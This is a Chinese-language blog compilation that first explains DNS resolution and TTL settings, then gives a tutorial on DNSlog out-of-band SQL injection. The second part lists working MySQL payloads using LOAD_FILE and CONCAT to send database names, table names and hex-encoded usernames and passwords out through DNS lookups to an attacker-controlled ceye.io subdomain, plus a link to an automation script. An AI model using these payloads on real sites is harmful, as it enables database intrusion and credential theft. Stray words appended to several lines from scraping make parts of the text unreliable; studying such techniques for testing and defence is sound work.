下面來詳細解釋DNS域名解析的過程:
網絡客戶端就是咱們日常使用的電腦,打開瀏覽器,輸入一個域名。好比輸入www.163.com,這時,你使用的電腦會發出一個DNS請求到本地DNS服務器。本地DNS服務器通常都是你的網絡接入服務器商提供,好比中國電信,中國移動。
查詢xxx.ceye.io的DNS請求到達本地DNS服務器以後,本地DNS服務器會首先查詢它的緩存記錄,若是緩存中有此條記錄,就能夠直接返回結果。若是沒有,本地DNS服務器還要向DNS根服務器進行查詢。
根DNS服務器沒有記錄具體的域名和IP地址的對應關係,而是告訴本地DNS服務器,你能夠到域服務器上去繼續查詢,並給出域服務器的地址。
本地DNS服務器繼續向域服務器發出請求,在這個例子中,請求的對象是.com域服務器。.com域服務器收到請求以後,也不會直接返回域名和IP地址的對應關係,而是告訴本地DNS服務器,你的域名的解析服務器的地址。
最後,本地DNS服務器向域名的解析服務器發出請求,這時就能收到一個域名和IP地址對應關係,本地DNS服務器不只要把IP地址返回給用戶電腦,還要把這個對應關係保存在緩存中,以備下次別的用戶查詢時,能夠直接返回結果,加快網絡訪問。
關於DNS解析的TTL參數:
咱們在配置DNS解析的時候,有一個參數經常容易忽略,就是DNS解析的TTL參數,Time To Live。TTL這個參數告訴本地DNS服務器,域名緩存的最長時間。用阿里雲解析來舉例,阿里雲解析默認的TTL是10分鐘,10分鐘的含義是,本地DNS服務器對於域名的緩存時間是10分鐘,10分鐘以後,本地DNS服務器就會刪除這條記錄,刪除以後,若是有用戶訪問這個域名,就要重複一遍上述複雜的流程。
其實,若是網站已經進入穩定發展的狀態,不會輕易更換IP地址,咱們徹底能夠將TTL設置到協議最大值,即24小時。帶來的好處是,讓域名解析記錄可以更長時間的存放在本地DNS服務器中,以加快全部用戶的訪問。設置成24小時,其實,還解決了Googlebot在全球部署的服務器抓取網站可能帶來的問題,這個問題麥新傑專門有一篇博文,請參考:Googlebot沒法訪問您的站點」問題理解和處理方法
阿里雲之因此只將TTL設置成10分鐘,是爲了讓域名解析更快生效而已。由於以前的解析會在最長10分鐘以後失效(本地DNS服務器將對應的解析條目刪除),而後新的解析生效。若是是24小時,這個生效的時間最長就是24小時,甚至更長(本地DNS服務器要有用戶請求,纔會發起查詢)。
關於DNS域名解析過程,就說這麼多吧。
來源: https://www.cnblogs.com/waycool/p/7101425.html
測試一些網站的時候,一些注入都是無回顯的,咱們能夠寫腳原本進行盲注,但有些網站會ban掉咱們的ip,這樣咱們能夠經過設置ip代理池解決,
可是盲注每每效率很低,因此產生了DNSlog注入。具體原理以下。
首先須要有一個能夠配置的域名,好比:ceye.io,而後經過代理商設置域名 ceye.io 的 nameserver 爲本身的服務器 A,而後再服務器 A 上配置好 DNS Server,這樣以來全部 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就可以實時地監控域名查詢請求了,圖示以下。
來源: https://www.cnblogs.com/afanti/p/8047530.htmlhtml
能夠看到三種查詢都被記錄下來了 那麼咱們就能夠利用這種特性進行dnslog注入,利用mysql發起請求,訪問我構造的域名,當解析請求到達ceye.io時,就會被記錄下來
mysql
Mysql LOAD_FILE函數能夠發起請求;git
select LOAD_FILE(CONCAT('\\\\','test','.mysql.buvx2r.ceye.io\\abc')); select LOAD_FILE(CONCAT('\\\\',database(),'.mysql.buvx2r.ceye.io\\abc'));\\的意思是讓LOAD_FILE去讀每一個文件,固然這麼文件存不存在,咱們並不在乎 //查詢當前庫的第一個表 select LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.buvx2r.ceye.io\\abc'));
DNS請求被成功記錄下來,因爲test位置是可控的,因此咱們能夠將查詢語句插入
成功爆出當前數據庫名
值得注意的是咱們不能出現特殊符號,:~@因此要進行特殊處理 只能windows
Payloadgithub
//查詢第當前庫第一個表名 ?id=1' union select LOAD_FILE(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.buvx2r.ceye.io\\abc')),2,3--+ //查詢users表第一個字段 使用hex編碼避免出現特殊字符 ?id=1' union select LOAD_FILE(concat('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.mysql.buvx2r.ceye.io\\abc')),2,3--+
查詢到的hex加密的信息
解密
https://github.com/ADOOO/DnslogSqlinj 自動化腳本sql